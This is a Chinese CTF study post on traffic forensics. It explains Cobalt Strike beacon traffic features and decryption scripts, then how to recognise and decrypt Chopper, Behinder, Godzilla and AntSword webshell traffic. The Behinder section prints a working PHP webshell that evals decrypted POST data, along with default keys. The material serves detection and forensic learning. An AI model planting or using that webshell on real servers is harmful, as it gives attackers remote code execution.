写在前面

感觉流量分析真的是MISC中的一个大项,开一篇专门的文章好学习流量分析

2025.6不会webshell被学长狠狠压力了,建议所有misc手要掌握好流量😭

CS流量——CobaltStrike流量

“Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。”

一些细节知识可以看这个 Cobalt Strike | Defining Cobalt Strike Components & BEACON | Google Cloud Blog

更多CS流量相关看 前言 | Cobalt Strike

Cobalt Strike 服务端和客户端是通过 SSL 加密通讯的 (默认证书对 cobaltstrike.store )。

Beacon 的元数据传输过程中虽然使用的是 RSA 算法,但是 Beacon 任务的传输使用的却是 AES 算法加密的,而 AES 密钥则是 Beacon 随机生成的然后通过 RSA 交换 AES密钥。加解密算法为 AES ,密钥位长 128CBC 模式,填充标准 PKCS7 ,其通信具体流程如下。

image-20230930201229567

流量传递

Cobalt Strike 分为 客户端服务端 ,服务端是一个,客户端可以有多个,可被团队进行分布式协作操作。

Cobalt StrikeBeacon 支持异步通信和交互式通信。Beacon 可以选择通过 DNS 还是 HTTP 协议出口网络,你甚至可以在使用Beacon 通讯过程中切换 HTTPDNS。其支持多主机连接,部署好 Beacon 后提交一个要连回的域名或主机的列表,Beacon 将通过这些主机轮询。

http-beacon 通信中,默认使用 GET 方法向 /dpixel/__utm.gif/pixel.gif 等地址发起请求,同时 Cobalt StrikeBeacon 会将元数据(例如AES密钥)使用 RSA 公钥加密后发送给 C2 服务器。

这些元数据通常被编码为 Base64 字符串并作为 Cookie 发送。如下图:
屏幕截图 2025-02-05 232713

流量特征

cs流量的http通讯一般会有以下的特征

比如搜索http类型数据后查看到有出现post请求/sumbit.php?id=xxx的特征,该特征可以判断 cobalt strike。

这是因为cs在下发特征时会请求这个/sumbit.php?id=xxx,同时 POST 传递了一串 0000 开头的16进制数据,这是 cs 流量的发送任务数据(可以根据这个辨别cs),任务数据里的内容十分重要,如下:

屏幕截图 2025-02-06 004446

心跳包特征:

间隔一定时间,均有通信,且流级上的上下行数据长度固定;

使用Wireshark等网络抓包工具,可以捕获到后门的HTTP数据包“GET /4Ekx HTTP/1.1”,其中的 “4Ekx”就是心跳包,通过查看心跳包获取一般cs心跳包会有4个数字或者字母组成。

https特征:

https-beacon 通信中,默认使用空证书建立加密通道,流量中可以看见这一过程。

在数据包的client hello中,数据包有JA3(JA3 是由 John AlthouseJeff AtkinsonJosh Atkins 创建的开源项目。 JA3 / JA3S 可以为客户端和服务器之间的通信创建 SSL 指纹。)

和操作系统有关,每个操作系统都有固定的值。这里列出几个已知的 ja3 / ja3s 指纹信息,这个值在不同操作系统上是不一样的

JA3

  • 72a589da586844d7f0818ce684948eea
  • a0e9f5d64349fb13191bc781f81f42e1

JA3s

  • b742b407517bac9536a77a7b0fee28e9
  • ae4edc6faf64d08308082ad26be60767

解密

那拿到的cs流量我们怎么解密呢?

大致是需要三样东西: .cobaltstrike.beacon_keys 文件、cookie元数据、submit.php的data

第一种方法:

这种一步到位

有了这三样东西我们便可以直接执行脚本,项目地址 5ime/CS_Decrypt: CobaltStrike流量解密脚本

安装库:

1
pip install hexdump javaobj-py3

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import hmac
import base64
import hashlib
import hexdump
import binascii
import javaobj.v2 as javaobj
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

file_path = ".cobaltstrike.beacon_keys"
#.cobaltstrike.beacon_keys文件路径
encode_data = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
#元数据内容
encrypt_data = "000000c093dff6b2f058ba4231e3900276566441f2bb4c76e5c8480874a4d99df083054a5ea1dd4aea5523c751af7d123ee8e9f2253a5ccdcf54427d147c556b15657ee2607e92b35732f26341bc0a26c58bf2bcf2383ad640641c364159387223360cc16ff3dc14ab1f00e6ee4fb53f5e15b767bd379451d0d7b6f4aeae9db0c3f30f3ef167b7db3e6ac241643ed2513e73f9e9148ebe7afaa122ea75e945c8ab8a816179e43180257bd8be752827dd0de26826d5611ee09391ee5545897dae1d3a9698"
#任务数据内容

def format_key(key_data):
key_data = bytes(map(lambda x: x & 0xFF, key_data))
formatted_key = f"-----BEGIN PRIVATE KEY-----\n"
formatted_key += base64.encodebytes(key_data).decode()
formatted_key += f"-----END PRIVATE KEY-----"
return formatted_key

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16] != signature:
print("message authentication failed")
return

cipher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)

with open(file_path, "rb") as fd:
pobj = javaobj.load(fd)

PRIVATE_KEY = format_key(pobj.array.value.privateKey.encoded.data)
private_key = RSA.import_key(PRIVATE_KEY.encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

if ciphertext[0:4] == b'\x00\x00\xBE\xEF':
raw_aes_keys = ciphertext[8:24]
raw_aes_hash256 = hashlib.sha256(raw_aes_keys).digest()
aes_key = raw_aes_hash256[0:16]
hmac_key = raw_aes_hash256[16:]

SHARED_KEY = binascii.unhexlify(aes_key.hex())
HMAC_KEY = binascii.unhexlify(hmac_key.hex())

encrypt_data = base64.b64encode(bytes.fromhex(encrypt_data)).decode()
encrypt_data = base64.b64decode(encrypt_data)
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]
data1 = encrypt_data_l[:encrypt_data_length-16]
signature = encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = b"abcdefghijklmnop"

dec = decrypt(data1, iv_bytes, signature, SHARED_KEY, HMAC_KEY)
print("AES key: {}".format(aes_key.hex()))
print("HMAC key: {}".format(hmac_key.hex()))
print(dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)])
print(hexdump.hexdump(dec))

需要修改的就只有三个:file_path、encode_data、encrypt_data

同时因为心跳包(submit.php的data)不止一个,需要我们修改脚本里的encrypt_data多次尝试。

第二种方法:

这种是一步步来的,分了大概四步

因为是CTF比赛所以会有.cobaltstrike.beacon_keys 文件,同时该文件本质上为 KeyPair 的 Java 对象,Python 的 javaobj-py3 库可以直接读取里面存储的数据。

首先,我们需要先获取 .cobaltstrike.beacon_keys 文件中的私钥。这个私钥是 RSA 私钥,用于解密元数据。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import javaobj.v2 as javaobj

with open(".cobaltstrike.beacon_keys", "rb") as fd:
pobj = javaobj.load(fd)

def format_key(key_data, key_type):
key_data = bytes(map(lambda x: x & 0xFF, key_data))
formatted_key = f"-----BEGIN {key_type} KEY-----\n"
formatted_key += base64.encodebytes(key_data).decode()
formatted_key += f"-----END {key_type} KEY-----"
return formatted_key

privateKey = format_key(pobj.array.value.privateKey.encoded.data, "PRIVATE")
publicKey = format_key(pobj.array.value.publicKey.encoded.data, "PUBLIC")

print(privateKey)
print(publicKey)

然后我们在通过私钥解密元数据、获取 AES KEY,其中 encode_data 为元数据,也就是之前看到的 cookie 的值。

那什么是AESkey呢?

因为Cobalt StrikeBeacon 通信主要依赖于 AES keyHMAC key 。这两个密钥都是由 Beacon 在每次执行时随机生成的 16字节数据。

AES key:这个密钥用于加密和解密 BeaconC2 服务器之间的通信内容。具体来说,它用于 AES 算法,该算法用于加密和解密Beacon任务的传输。

HMAC key :这个密钥用于验证数据的完整性和真实性。HMAC (Hash-based Message Authentication Code)是一种基于密钥的哈希算法,用于在不安全的通信环境中验证消息的完整性和真实性。

这两个密钥都是由同一组16字节数据生成的。具体来说,这组16字节数据的 SHA256 哈希的前半部分作为 HMAC 密钥,后半部分作为 AES 密钥。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump
PRIVATE_KEY = """-----BEGIN PRIVATE KEY-----
{MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1r
To4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5Gqh
Pz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAEC
gYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5V
r7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFW
vHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL
3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNp
v+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG
9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3C
dsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJB
AIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2
ddsyNI6XbCU=}
-----END PRIVATE KEY-----"""
#rsa私钥

encode_data = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
#元数据

private_key = RSA.import_key(PRIVATE_KEY.encode())

cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

if ciphertext[0:4] == b'\x00\x00\xBE\xEF':
raw_aes_keys = ciphertext[8:24]
raw_aes_hash256 = hashlib.sha256(raw_aes_keys).digest()
aes_key = raw_aes_hash256[0:16]
hmac_key = raw_aes_hash256[16:]

print("AES key: {}".format(aes_key.hex()))
print("HMAC key: {}".format(hmac_key.hex()))

hexdump.hexdump(ciphertext)

到此我们就得到了 AES keyHMAC key

接着要去解密 submit.php 所传递的 Data ,首先我们要先对该串16进制数据进行处理,转字符串后进行 Base64 编码

1
2
3
4
5
6
7
8
9
import base64

encode_data = '000000c093dff6b2f058ba4231e3900276566441f2bb4c76e5c8480874a4d99df083054a5ea1dd4aea5523c751af7d123ee8e9f2253a5ccdcf54427d147c556b15657ee2607e92b35732f26341bc0a26c58bf2bcf2383ad640641c364159387223360cc16ff3dc14ab1f00e6ee4fb53f5e15b767bd379451d0d7b6f4aeae9db0c3f30f3ef167b7db3e6ac241643ed2513e73f9e9148ebe7afaa122ea75e945c8ab8a816179e43180257bd8be752827dd0de26826d5611ee09391ee5545897dae1d3a9698'
#任务数据

bytes_data = bytes.fromhex(encode_data)
encrypt_data = base64.b64encode(bytes_data)

print(encrypt_data.decode())

最终分别填入 SHARED_KEYHMAC_KEYencrypt_data 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES

SHARED_KEY = binascii.unhexlify("ef08974c0b06bd5127e04ceffe12597b")
#AES key
HMAC_KEY = binascii.unhexlify("bd87fa356596a38ac3e3bb0b6c3496e9")
#HMAC key
encrypt_data = "AAAAwJPf9rLwWLpCMeOQAnZWZEHyu0x25chICHSk2Z3wgwVKXqHdSupVI8dRr30SPujp8iU6XM3PVEJ9FHxVaxVlfuJgfpKzVzLyY0G8CibFi/K88jg61kBkHDZBWThyIzYMwW/z3BSrHwDm7k+1P14Vt2e9N5RR0Ne29K6unbDD8w8+8We32z5qwkFkPtJRPnP56RSOvnr6oSLqdelFyKuKgWF55DGAJXvYvnUoJ90N4mgm1WEe4JOR7lVFiX2uHTqWmA=="
#任务数据(解密过的)

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16] != signature:
print("message authentication failed")
return

cipher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)

encrypt_data = base64.b64decode(encrypt_data)
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]

data1 = encrypt_data_l[:encrypt_data_length-16]
signature = encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = b"abcdefghijklmnop"

dec = decrypt(data1, iv_bytes, signature, SHARED_KEY, HMAC_KEY)

print("counter: {}".format(int.from_bytes(dec[:4], byteorder='big', signed=False)))
print("任务返回长度: {}".format(int.from_bytes(dec[4:8], byteorder='big', signed=False)))
print("任务输出类型: {}".format(int.from_bytes(dec[8:12], byteorder='big', signed=False)))
print(dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)])
print(hexdump.hexdump(dec))

就OK了

例题: 2023 SICTF 一起上号不 解析Misc Record | MetaVi (在#杂题那)

Webshell流量

菜刀(Cknife)流量

特征:响应里可能有 ->| |<- 这样的字符串

这个解密比较简单,一般都是明文传输或者最简单的base64。

冰蝎(behinder)流量

什么是冰蝎,冰蝎是怎么传输的?

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,不同于直接明文传输的菜刀,冰蝎有加密的过程,更不容易被各种安全设备检测到。

冰蝎地址:发行版 · rebeyond/Behinder

冰蝎的传输如下:

先请求服务端,服务端判断请求之后生成一个128位的随机数,并将这个128位的随机数写入到session里面,并将这个128位的随机数返回给客户端,但是客户端并不会使用这个key作为之后的通讯的key,而是会继续重复上面过程,不断获取key,直到满足特定条件之后,才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密匙。

传输部分可以大致分为两个过程:

1.攻击者通过get/post请求服务器密钥。服务器使用随机数的MD5的高16位为密钥返回。

2.攻击者把命令aes或xor后传给服务器,服务器解密后执行。执行的结果aes加密后再返回给攻击者。

解密过程

以题目:**[NewStarCTF 2023 公开赛道]3-溯源** 为例

那既然已经知道了是怎么传输的,我们也很容易知道怎么解密了

在解密的过程中我们需要密钥

[!NOTE]冰蝎的默认密钥为:e45e329feb5d925b(md5(rebeyond)的前16位)

当然如果不知道密钥也可以使用puzzlesolver爆破密钥

加密的过程是aes/xor+base64,具体加密代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
// $key="e45e329feb5d925b"; // 默认密钥
$key="5b4582c9d56b5b33";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

所以我们解密的时候反着来就好了

1.先找到密钥

例如在调用的webshell里发现一串base64,解密两次后发现密钥

屏幕截图 2025-06-09 201844

key=e45e329feb5d925b,当然不同的题目密钥可能在不一样的地方,需要去找。

2.利用密钥解密内容

(寻找内容时要注意追踪http流和追踪tcp流的输出可能不同)

之后就是解密aes了,注意解密aes的时候有iv和无iv有区别,(AES-ECB(没有IV),AES-CBC(有IV))

如果有iv的话iv可能是:

1
2
IV = 0123456789abcdef
IV = \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

然后如果有时候cyberchef解不出来就用这个:AES批量加密解密 - 在线工具

屏幕截图 2025-06-09 204523

根据题目要求,解出来的东西msg部分两次base64一下即可

屏幕截图 2025-06-09 204713

发现内网ip和用户名(即flag):

屏幕截图 2025-06-09 204842

哥斯拉(godzilla)流量

什么是哥斯拉?有什么特征?

Godzillas是一个加密webshell管理器,类似于冰蝎,发布于hw时期,由于流量加密,其原有行为无法直接获取,需要逆向其加密流程。

特征:

1.User-Agent 特征(弱特征)
哥斯拉客户端使用 Java 语言 编写,User-Agent 会显示类似于 Java/1.8.0_121(具体版本取决于 JDK 环境版本)。不过,哥斯拉支持自定义 HTTP 头部,可以很容易去除这一特征。

2.Accept 特征(弱特征)
默认的 Accept 头部 为 text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。这一特征同样可以通过自定义头部去除。

3.Cookie 特征(强特征)
哥斯拉请求包的 Cookie 中有一个致命的特征:末尾带有分号 ;

4.请求体特征(较强特征)
哥斯拉支持对加密的数据进行 Base64 编码 和原始加密(raw)两种形式的通信数据。对于 Base64 编码 的数据包,可以通过识别流量中的 Base64 编码特征进行检测。

另外,哥斯拉在进行初始化时会产生一个 比较大的数据包,后面进行命令执行等操作时产生的 Base64 数据包 会相对较小。通过数据包长度进行匹配在一定程度上也可以降低误报率。

5.响应体特征(强特征)
如果请求体采用 Base64 编码,响应体返回的也是 Base64 编码的数据。响应体的特征为:一个 32 位的 MD5 字符串 按照一半拆分,分别放在 Base64 编码 的数据的前后两部分。整个响应包的结构体征为:md5前十六位 + base64 + md5后十六位。

需要注意的是,我们还需要考虑到不同版本的哥斯拉可能会有不同的特征表现。

6.补充
哥斯拉使用的是 ICMP 协议数据报文,而 ICMP 流量本身就不高,所以较难在大流量中检测。ICMP 数据报文的载荷部分 Length 值固定为 92 字节,这是它的重要特征。

7.Payload 特征
在默认脚本编码的情况下,JSP 会出现 xc、pass 字符和 Java 反射(ClassLoader,getClass().getClassLoader()),Base64 加解码等特征。而 PHP 和 ASP 则为普通的一句话木马,数据报文的 Payload 内容以 “godzilla” 开头,这也是检测的特征标志。

解密过程

哥斯拉的默认密钥为:3c6e0b8a9c15224a

同理,哥斯拉的解密也需要密钥,哥斯拉的解密一般默认是xor,当然有时候也会有aes。

注意异或的时候要从密钥的第二位开始异或,所以我们用cyberchef解密的时候要把密钥的第一位移到最后。

所以解密的时候最重要的就是key值了,我们怎么获取呢?

一是我们可以在流量中分析有没有源码,获取key

二是利用数据进行爆破。

前文说过哥斯拉响应体特征有输出密钥,即三部分:

  1. MD5( 密码 + 密钥)的前十六位
  2. shellcode运行结果
  3. MD5( 密码 + 密钥)的后十六位

后16位好看的,就是base64==之后的,前16位需要我们多找几组流量,提取前面长度为16的最长公共子串。

填入hash爆破key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib


def md5_encode(text):
return hashlib.md5(text.encode('utf-8')).hexdigest()

def crack_key(key_list,target_hash):
pwd = "Antsword" # 哥斯拉的连接密码
for key in key_list:
tmp = md5_encode(key) # 明文密钥的MD5
tmp_hash = md5_encode(pwd+tmp[:16]) # 响应中返回的hash
if tmp_hash == target_hash:
print(f"[+] 密钥爆破成功: {key}")
print(f"[+] 用于解密哥斯拉流量的密钥为 {tmp[:16]}")
return key

if __name__ == '__main__':
# 响应中返回的hash
target_hash = "e71f50e9773b23f9792dea3a7ae385ca"
with open("dic.txt",'r') as f:
key_list = f.read().split()
crack_key(key_list, target_hash)

# [+] 密钥爆破成功: Antsw0rd
# [+] 用于解密哥斯拉流量的密钥为 a18551e65c48f51e

(当然这里也可以尝试用CTFNetA爆破)

知道key了之后我们就可以利用cyberchef解密了

因为Godzillas最新版(v3.03)对发送以及返回流量增加了gzip压缩,所以流量部分在xor之后进行gzip解压才能获得明文流量。

解密(赛博厨子):

from hex_xor(填之前的key)_gunzip

base64_xor(填之前的key)_gunzip

url decode_base64_xor(填之前的key)_gunzip

蚁剑(antsword)流量

蚁剑是什么,有什么特征?

蚁剑是开源的跨平台webshell管理工具,网上也有许多开源的编码器。

如:

1、 https://github.com/lowliness9/AntSwordEncoder

2、 https://github.com/AntSwordProject/AwesomeEncoder

而怎么辨别蚁剑呢?特征有这些:

​ 1、默认的 user-agent 请求头是 antsword xxx(可修改)

​ 2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set(“display_errors”,”0”);

​ 3、蚁剑中php使用assert、eval执行;asp只有eval执行;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。

解密

蚁剑的解密不难,一般是以下几个

1,base64

2,reverse

3,rot13

4,rsa

其中如果使用了rsa加密的话我们解密的时候需要key,即

1
2
3
-----BEGIN PUBLIC KEY-----
123
-----END PUBLIC KEY-----

可以使用ctf-neta,设置rsa密钥求解。